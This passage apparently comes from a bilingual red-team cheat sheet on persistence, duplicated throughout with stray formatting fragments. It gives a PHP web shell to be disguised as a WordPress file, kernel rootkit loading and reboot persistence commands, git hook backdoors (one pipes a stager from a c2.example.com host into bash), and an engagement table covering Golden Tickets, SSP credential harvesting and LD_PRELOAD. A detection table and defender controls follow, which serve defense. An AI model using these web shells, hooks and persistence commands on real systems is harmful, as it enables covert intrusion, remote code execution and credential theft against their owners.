Kernel Module Rootkit

Kernel Module Rootkit

A loadable kernel module (LKM) rootkit hooks VFS readdir to hide files, processes, and network connections. It removes itself from the module list (
list_del_init(&__this_module.list)
) to evade lsmod detection.
bash
undefined
可加载内核模块(LKM)Rootkit 会挂钩 VFS readdir,以隐藏文件、进程和网络连接。它会从 Module List(
list_del_init(&__this_module.list)
)中移除自身,以规避 lsmod 检测。
bash
undefined

Load the kernel module

Load the kernel module

insmod rootkit.ko
insmod rootkit.ko

Persist across reboots

Persist across reboots

cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/misc/ depmod -a echo "rootkit" >> /etc/modules
undefined
cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/misc/ depmod -a echo "rootkit" >> /etc/modules
undefined

Web Shells

Web Shell

php
<?php
// Minimal PHP web shell -- blend into an existing web application
// Place in a file resembling legitimate app code
if(isset($_REQUEST['debug_token']) && $_REQUEST['debug_token'] === 'auth_key_here') {
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
bash
undefined
php
<?php
// Minimal PHP web shell -- blend into an existing web application
// Place in a file resembling legitimate app code
if(isset($_REQUEST['debug_token']) && $_REQUEST['debug_token'] === 'auth_key_here') {
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
bash
undefined

Hide web shell in an existing web application directory

Hide web shell in an existing web application directory

cp shell.php /var/www/html/wp-includes/class-wp-locale-debug.php
cp shell.php /var/www/html/wp-includes/class-wp-locale-debug.php

JSP web shell for Java applications

JSP web shell for Java applications

Place in the webapps directory of Tomcat/JBoss

Place in the webapps directory of Tomcat/JBoss

undefined
undefined

Git Hooks

Git Hook

bash
undefined
bash
undefined

Backdoor a Git hook in a repository developers use

Backdoor a Git hook in a repository developers use

cat << 'EOF' > /path/to/repo/.git/hooks/post-merge #!/bin/bash nohup /opt/.cache/beacon.sh &>/dev/null & EOF chmod +x /path/to/repo/.git/hooks/post-merge
cat << 'EOF' > /path/to/repo/.git/hooks/post-merge #!/bin/bash nohup /opt/.cache/beacon.sh &>/dev/null & EOF chmod +x /path/to/repo/.git/hooks/post-merge

pre-commit hook executes on every commit

pre-commit hook executes on every commit

cat << 'EOF' > /path/to/repo/.git/hooks/pre-commit #!/bin/bash (curl -s https://c2.example.com/stager | bash &) 2>/dev/null exit 0 EOF chmod +x /path/to/repo/.git/hooks/pre-commit

---
cat << 'EOF' > /path/to/repo/.git/hooks/pre-commit #!/bin/bash (curl -s https://c2.example.com/stager | bash &) 2>/dev/null exit 0 EOF chmod +x /path/to/repo/.git/hooks/pre-commit

---

Detection / Defender View

检测 / Defender 视角

TechniquePrimary DetectionKey Indicators
Registry Run keysSysmon 13 (RegistryValueSet)New values in Run/RunOnce paths
Scheduled tasksEvent 4698 (task created)Tasks in non-standard paths, SYSTEM context
WMI subscriptionsSysmon 19/20/21New permanent event consumers
DLL hijackingSysmon 7 (ImageLoad)DLLs loaded from unusual directories
COM hijackingRegistry monitoringHKCU InprocServer32 overrides
Service creationEvent 7045, 4697New services with suspicious binpaths
SSP DLLEvent 4622New security packages in LSA config
Golden/Silver ticketsEvent 4768/4769TGTs with abnormal lifetime or encryption
DCShadowReplication metadata changesRogue DC registration (SPNs)
Cron/systemdFile integrity monitoringNew cron entries, new unit files
SSH keysauthorized_keys monitoringNew keys, modified AuthorizedKeysFile
PAM modulesFile integrity monitoringModified pam.d configs, new .so files
LD_PRELOADCheck /etc/ld.so.preloadUnexpected entries in preload or env
Kernel moduleslsmod, kmod monitoringUnknown modules, modified /etc/modules
Web shellsWAF, file integrity, YARASmall PHP/JSP files with exec functions
Key defender controls:
  • AppLocker/WDAC restricts which executables and DLLs can run.
  • Credential Guard blocks SSP DLL injection and LSASS credential harvesting.
  • Protected Users group prevents NTLM and caching for sensitive accounts.
  • AIDE/OSSEC detects file integrity changes on Linux systems.
  • auditd rules capture file creation in cron directories and module loading.
  • Autoruns (Sysinternals) enumerates all autostart locations on Windows.

技术主要检测方式关键指标
Registry Run KeySysmon 13(RegistryValueSet)Run/RunOnce 路径中的新值
Scheduled TaskEvent 4698(task created)非标准路径中的任务、SYSTEM 上下文
WMI SubscriptionSysmon 19/20/21新创建的永久性 Event Consumer
DLL HijackingSysmon 7(ImageLoad)从异常目录加载的 DLL
COM Hijacking注册表监控HKCU InprocServer32 覆盖项
Service CreationEvent 7045、4697带有可疑 binpath 的新 Service
SSP DLLEvent 4622LSA 配置中的新 Security Package
Golden/Silver TicketEvent 4768/4769生命周期或加密方式异常的 TGT
DCShadowReplication Metadata 变化非法 DC 注册(SPN)
Cron/SystemdFile Integrity Monitoring新增 Cron 条目、新增 Unit 文件
SSH Keyauthorized_keys 监控新增 Key、被修改的 AuthorizedKeysFile
PAM ModuleFile Integrity Monitoring被修改的 pam.d 配置、新增 .so 文件
LD_PRELOAD检查 /etc/ld.so.preloadpreload 或环境变量中的异常条目
Kernel Modulelsmod、kmod 监控未知 Module、被修改的 /etc/modules
Web ShellWAF、File Integrity、YARA包含 exec 函数的小型 PHP/JSP 文件
关键的 Defender 控制措施:
  • AppLocker/WDAC 限制哪些可执行文件和 DLL 可以运行。
  • Credential Guard 阻止 SSP DLL Injection 和 LSASS 凭据收集。
  • Protected Users Group 防止敏感账户使用 NTLM 和凭据缓存。
  • AIDE/OSSEC 检测 Linux 系统上的 File Integrity 变化。
  • auditd 规则可捕获 Cron 目录中的文件创建和 Module 加载行为。
  • Autoruns(Sysinternals)可枚举 Windows 上的所有 Autostart 位置。

Engagement Cheatsheet

行动速查表

text
SCENARIO                          TECHNIQUE                    TOOL / COMMAND
-------------------------------   --------------------------   ----------------------------------------
User-level Windows, quick          Registry Run key             reg add HKCU\...\Run
User-level Windows, reliable       Scheduled task (user)        schtasks /create /sc onlogon
Admin Windows, stealthy            WMI event subscription       Set-WmiInstance __EventFilter
Admin Windows, service             Service creation             sc create ... start= auto
Admin Windows, cred harvest        SSP DLL                      mimilib.dll + LSA registry
Domain admin, long-term            Golden Ticket                impacket-ticketer / kerberos::golden
Domain admin, targeted service     Silver Ticket                impacket-ticketer -spn
Domain admin, ACL abuse            AdminSDHolder                Add-DomainObjectAcl
User-level Linux, quick            Cron job                     crontab -e
User-level Linux, SSH              authorized_keys              echo key >> authorized_keys
Root Linux, reliable               Systemd service + timer      systemctl enable
Root Linux, stealthy               LD_PRELOAD                   /etc/ld.so.preload
Root Linux, deep                   Kernel module                insmod + /etc/modules
Web server access                  Web shell                    PHP/JSP in webroot
Developer environment              Git hooks                    .git/hooks/post-merge
MITRE ATT&CK references:
  • T1547 -- Boot or Logon Autostart Execution (.001 Registry Run Keys, .004 Winlogon, .005 SSP)
  • T1053 -- Scheduled Task/Job (.002 At, .003 Cron, .005 Scheduled Task)
  • T1546 -- Event Triggered Execution (.003 WMI, .015 COM Hijack)
  • T1556 -- Modify Authentication Process (.003 Pluggable Auth Modules)
  • T1543 -- Create or Modify System Process (.003 Windows Service)
  • T1574 -- Hijack Execution Flow (.001 DLL Search Order, .012 COM Hijacking)
  • T1558 -- Steal or Forge Kerberos Tickets (.001 Golden Ticket, .002 Silver Ticket)
  • T1098 -- Account Manipulation (.003 Additional Cloud Roles)
  • T1505 -- Server Software Component (.003 Web Shell)

text
SCENARIO                          TECHNIQUE                    TOOL / COMMAND
-------------------------------   --------------------------   ----------------------------------------
User-level Windows, quick          Registry Run key             reg add HKCU\...\Run
User-level Windows, reliable       Scheduled task (user)        schtasks /create /sc onlogon
Admin Windows, stealthy            WMI event subscription       Set-WmiInstance __EventFilter
Admin Windows, service             Service creation             sc create ... start= auto
Admin Windows, cred harvest        SSP DLL                      mimilib.dll + LSA registry
Domain admin, long-term            Golden Ticket                impacket-ticketer / kerberos::golden
Domain admin, targeted service     Silver Ticket                impacket-ticketer -spn
Domain admin, ACL abuse            AdminSDHolder                Add-DomainObjectAcl
User-level Linux, quick            Cron job                     crontab -e
User-level Linux, SSH              authorized_keys              echo key >> authorized_keys
Root Linux, reliable               Systemd service + timer      systemctl enable
Root Linux, stealthy               LD_PRELOAD                   /etc/ld.so.preload
Root Linux, deep                   Kernel module                insmod + /etc/modules
Web server access                  Web shell                    PHP/JSP in webroot
Developer environment              Git hooks                    .git/hooks/post-merge
MITRE ATT&CK 参考:
  • T1547 -- Boot or Logon Autostart Execution(.001 Registry Run Keys、.004 Winlogon、.005 SSP)
  • T1053 -- Scheduled Task/Job(.002 At、.003 Cron、.005 Scheduled Task)
  • T1546 -- Event Triggered Execution(.003 WMI、.015 COM Hijack)
  • T1556 -- Modify Authentication Process(.003 Pluggable Auth Modules)
  • T1543 -- Create or Modify System Process(.003 Windows Service)
  • T1574 -- Hijack Execution Flow(.001 DLL Search Order、.012 COM Hijacking)
  • T1558 -- Steal or Forge Kerberos Tickets(.001 Golden Ticket、.002 Silver Ticket)
  • T1098 -- Account Manipulation(.003 Additional Cloud Roles)
  • T1505 -- Server Software Component(.003 Web Shell)

Key References

关键参考